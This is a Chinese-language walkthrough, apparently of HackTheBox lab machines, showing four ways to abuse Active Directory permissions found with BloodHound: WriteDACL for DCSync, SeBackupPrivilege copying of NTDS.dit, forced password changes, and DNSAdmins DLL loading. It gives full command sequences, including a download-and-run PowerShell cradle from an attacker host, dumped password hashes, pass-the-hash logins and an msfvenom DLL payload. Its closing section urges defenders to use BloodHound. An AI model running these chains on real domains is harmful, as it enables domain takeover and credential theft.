0x00前言
在谈论这篇文章的主要内容之前,我想先讲讲Bloodhound这个工具,BloodHound 是一个强大的内网域渗透提权分析工具,它把域中各种抽象的概念和结构放在了一个能运行且直观,并易于使用的图形化功能中,自动用于提取和分析数据,高效准确地显示如何提升 AD 域中的权限。它使用图形理论来自动化的在 Active Directory 环境中搞清楚大部分人员的关系和细节。你的团队可以使用 BloodHound 快速深入了解 AD 的一些用户关系,了解哪些用户具有管理员权限,哪些用户有权对任何计算机都拥有管理权限,以及有效的用户组成员信息。它是一个对于我们在域渗透中寻找攻击向量、规划攻击路线、进行横向移动等有巨大帮助的一款工具。
0x01滥用writeDACL 权限实现权限提升
简介:在域环境中,如果安装Exchange后,系统会添加一个名为Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission三个组。如果获得了这三个组内任意用户的控制权限,就能够继承用户组的WriteDACL权限,WriteDACL权限可以修改域对象的ACL,最终实现利用DCSync导出域内所有用户hash,实现权限提升的目的。
实际应用场景:
通过在BloodHound中搜索“svc-alfresco”用户,我发现实际上该用户属于 Account Operators 组,该组是AD中的特权组之一,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。
通过下图我们可以看到从 svc-alfresco 到 Domain Admins 的路径,我们在下图中的发现exchange windows permission组完全信任Account Operators 组,因此我们可以利用Account Operators 组的权限创建一个新用户,然后把他添加到exchange windows permission组,这样我们就可以对HTB.LOCAL进行一些操作了,我们看到exchange windows permission组的成员对htb.local用有writeDACL权限, 然后我们可以利用我们新添加的用户对HTB.LOCAL的 writeDACL权限进行恶意利用,进而实现权限提升,接下来我将详细将一下该攻击过程的原理。
默认情况下,Exchange Windows Permissions
安全组对安装 Exchange 的域的域对象具有 writeDACL 权限。
writeDACL 权限允许身份修改指定对象的权限(换句话说:修改 ACL),这意味着通过成为组织管理组的成员,我们能够将权限提升到域管理员的权限。
为了利用这一点,我们将新创建的用户帐户添加到该Exchange Windows Permission
组中。Exchange Windows Permission
组的成员,这允许我们修改HTB.LOCAL域的 ACL。
net user test123 test123! /add /domain
net group #该命令的结果中找到了Exchange Windows Permissions组
net group 'Exchange Windows Permissions' test123 /add /domain
net localgroup #在该命令的结果中发现了Remote Management Users组
net localgroup 'Remote Management Users' test123 /add
如果我们有权修改 AD 对象的 ACL,则可以将权限分配给允许他们写入特定属性(例如包含电话号码的属性)的身份。除了为这些属性分配读/写权限外,还可以为扩展权限分配权限。这些权限是预定义的任务,例如更改密码、向邮箱发送电子邮件等权限2。通过应用以下扩展权限,还可以将任何给定帐户添加为域的复制伙伴:
复制目录更改(DS-Replication-Get-Changes)
全部复制目录更改 (DS-Replication-Get-Changes-All )
当我们为我们的用户帐户设置这些权限时,我们能够请求域中任何用户的密码哈希,那么具体如何获取的呢?
DCsync攻击
这里就涉及到一个知识点叫AD的复制技术:
域控制器(DC)是Active Directory(AD)域的支柱,用于高效的管理域内用户,所以在企业当中,为了防止DC出现意外导致域内瘫痪,所以都是要布置多台域控作为AD域的备份,或者是部署多台域控制器,方便在站点位置本地提供身份验证和其他策略。当企业内网当做部署了多台域控制器后,一台域控进行了数据的更改之后,需要与其他域控进行数据的同步,而这个同步是通过Microsoft的远程目录复制服务协议 (MS-DRSR),该协议是基于MSRPC / DCE/RPC )进行的。并且其 DRS 的 Microsoft API 是DRSUAPI(这个在后面抓包可以看到)。。在不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
我们都知道,在域内用户所具有的权限其实最根本是看用户的DACL,那么对于DCSync攻击来说,只要域用户拥有以下条DACL即可向域控发出数据同步请求,从而dump去域内用户hash,这两条DACL分别为:
复制目录更改(DS-Replication-Get-Changes)
全部复制目录更改 (DS-Replication-Get-Changes-All )
注:默认本地管理员、域管理员或企业管理员以及域控制器计算机帐户的成员默认具有上述权限,注意,默认情况下,DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。
原理讲的差不多了,接下来开始操作,首先通过winRM登录到我们刚创建的新用户上
root@kali2020:~#python -m http.server 80
root@kali2020:~#evil-winrm -u test123 -p test123! -i 10.10.10.161
*Evil-WinRM* PS C:\Users\test123\Documents>powershell -nop -exec bypass -c "iex(New-Object Net.webclient).downloadstring('http://10.10.16.12/PowerView.ps1')"
*Evil-WinRM* PS C:\Users\test123\Documents>Add-DomainObjectAcl -PrincipalIdentity 'test123' -TargetIdentity 'DC=htb,DC=local' -Rights DCSync
此时,我们就可以使用升级后的权限,我们可以使用secretsdump.py工具执行 DCSync 以转储“管理员”用户的 NTLM 哈希
root@kali2020:~# secretsdump.py test123:'test123!'@10.10.10.161
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
...
...
...
[*] Cleaning up...
既然拿到了管理员的hash,那么我们就可以通过wmiexec直接登录到该账户了
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@10.10.10.161
我们可以看到此时已经拿到了域管的权限
0x02 滥用SeBackupPrivilege权限进行NTDS.dt卷影拷贝实现权限提升
简介:SeBackupPrivilege权限用来实现备份操作,允许文件内容检索,即使文件上的安全描述符可能未授予此类访问权限。 启用了 SeBackupPrivilege 的调用,方无需任何基于 ACL 的安全检查,我们可以借助该权限进行NTDS.dt卷影拷贝最终实现权限提升。
实际应用场景:
攻击的步骤大概分三步
- 获取文件副本,`NTDS.dit`即存储 Active Directory 用户凭据的数据库。
- 接下来,我们将获取 SYSTEM hive 文件,其中包含解密 NTDS.dit 所必需的系统启动密钥
- 使用 Impacket 的 secretsdump 脚本从 NTDS.dit 中提取域中所有用户的 NTLM 哈希
我们现在拿到了一个svc_backup用户的hash,然后我们开始使用evil-winrm尝试进行远程登录
evil-winrm -10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
通过我们之前导入的bloodhound的分析结果,我们得知该用户属于backup_operators组的成员
因此该用户也很有可能是启用SEBackupPrivilege 权限的用户。我们执行如下命令,看一下其是否有该权限
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
此时我们知道了我们拥有SEBackupPrivilege 权限,所以我们可以通过使用签名的二进制文件创建 NTDS.dit 的卷影副本来完成diskshadow 首先,创建一个名为 script.txt 的文本文件,其中包含以下内容:
{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive
create
expose %mydrive% w:
end backup
}
然后执行diskshadow
并使用脚本文件作为其输入,接着我们可以使用这个repo提供的两个dll文件,并按照其提供的步骤操作,来复制创建的 NTDS.dit 卷影副本
*Evil-WinRM* PS C:\Users\svc_backup\music>diskshadow /s script.txt
*Evil-WinRM* PS C:\Users\svc_backup\music>upload SeBackupPrivilegeCmdLets.dll c:\users\svc_backup\music\
*Evil-WinRM* PS C:\Users\svc_backup\music>upload SeBackupPrivilegeUtils.dll c:\users\svc_backup\music\
*Evil-WinRM* PS C:\Users\svc_backup\music>Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\users\svc_backup\music\ntds.dit -Overwrite
*Evil-WinRM* PS C:\Users\svc_backup\music> reg save HKLM\SYSTEM c:\users\svc_backup\music\system.hive
*Evil-WinRM* PS C:\Users\svc_backup\music>download ntds.dit
*Evil-WinRM* PS C:\Users\svc_backup\music>download system.hive
我现在可以使用Evil-WinRM’s
下载功能下载 NTDS.dit 和 system.hive 文件。然后,使用Impacket’s
secretsdump.py 解析 NTDS.dit:
secretsdump.py LOCAL -system system.hive -ntds ntds.dit -outputfile secretsdump.out
cat secretsdump.out
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9e3d10cc537937888adcc0d918813a24:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:4c67bfbc7834b2f39fae7138f717dcbd:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
[..SNIP..]
通过上面secretsdump分析的结果,我们可以看到管理员的hash ,那么现在我们可以通过wmiexec.py通过hash来登录到管理员账户
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee blackfield.LOCAL/administrator@10.10.10.192
可以看到现在我们拿到了域管理员shell
0x03 滥用ForceChangePassword权限实现横向移动
简介: ForceChangePassword:强制更改密码,在不知道当前密码的情况下更改目标用户的密码。
实际应用场景:
我们在bloodhound可以看到support用户对AUDIT用户具有ForceChangePassword权限
通过上图可以看到,support用户有权修改audit2020用户的密码,接下来我们尝试修改audit2020用户的密码
rpcclient -U support //10.10.10.192
rpcclient $> setuserinfo2 audit2020 23 'ncxw1234'
如果我使用与密码策略不匹配的内容进行重置,它会返回
rpcclient $> setuserinfo2 audit2020 23 'ncxw1234#'
更改完密码,我们现在可以验证一下
crackmapexec smb 10.10.10.192 -u audit2020 -p 'ncxw1234#'
接下来我们尝试通过audit2020来发现更多的smb共享目录
smbmap -H 10.10.10.192 -u audit2020 -p 'ncxw1234#'
我们观察到,相比于之前的那个用户,我们获得了目录forensic的访问权限,可以进行进一步的信息搜集,或者利用该用户的权限来进行一些原本无法实现的操作。
0x04滥用DNS Admin组权限实现权限提升
简介:当我们有权访问恰好是 DNSAdmins 组成员的用户帐户时,或者当受感染的用户帐户对 DNS 服务器对象具有写入权限时,我们可以滥用他的成员资格从而升级为管理员权限。简单来讲,DNSAdmins 组的成员可以访问网络 DNS 信息。默认权限如下: 允许:读取、写入、创建所有子对象、删除子对象、特殊权限。默认情况下,DNSAdmins 没有启动或停止 DNS 服务的能力,但管理员授予该组成员该权限并不罕见,当dnsadmins 组的成员被授予该权限时可用于通过 dll 注入将权限提升到管理员。
实际应用场景:
通过如下命令,我们发现ryan用户是DNSAdmins 组的成员
在目标上,我们可以更改 dns 的配置,因为用户 ryan 属于dnsadmins组。我们还可以启动和停止 dns 服务。
首先我们可以使用 msfvenom 生成我们的有效负载 dll,然后启动smb服务
msfvenom -p windows/x64/exec cmd='net user administrator P@s5w0rd123! /domain' -f dll > da.dll
smbserver.py SHARE ./
*Evil-WinRM* PS C:\Users\ryan\Documents>cmd /c dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.10.16.12\share\da.dll
*Evil-WinRM* PS C:\Users\ryan\Documents>sc.exe stop dns
*Evil-WinRM* PS C:\Users\ryan\Documents>sc.exe start dns
psexec.py megabank.local/administrator@10.10.10.169
P@s5w0rd123! #输入密码
0x05总结
本篇文章中,描述了四种域中容易被滥用的权限及其应用场景和造成的危害,站在防御的视角上来讲,我感觉甲方的安全人员或者运维人员也可以把Bloodhound这个工具在日常的运维和安全检查中用起来,通过Bloodhound的图形化界面和自动化的分析,以便于及时发现可能被滥用的权限以及攻击路径,以便于及时的排除潜在的安全风险。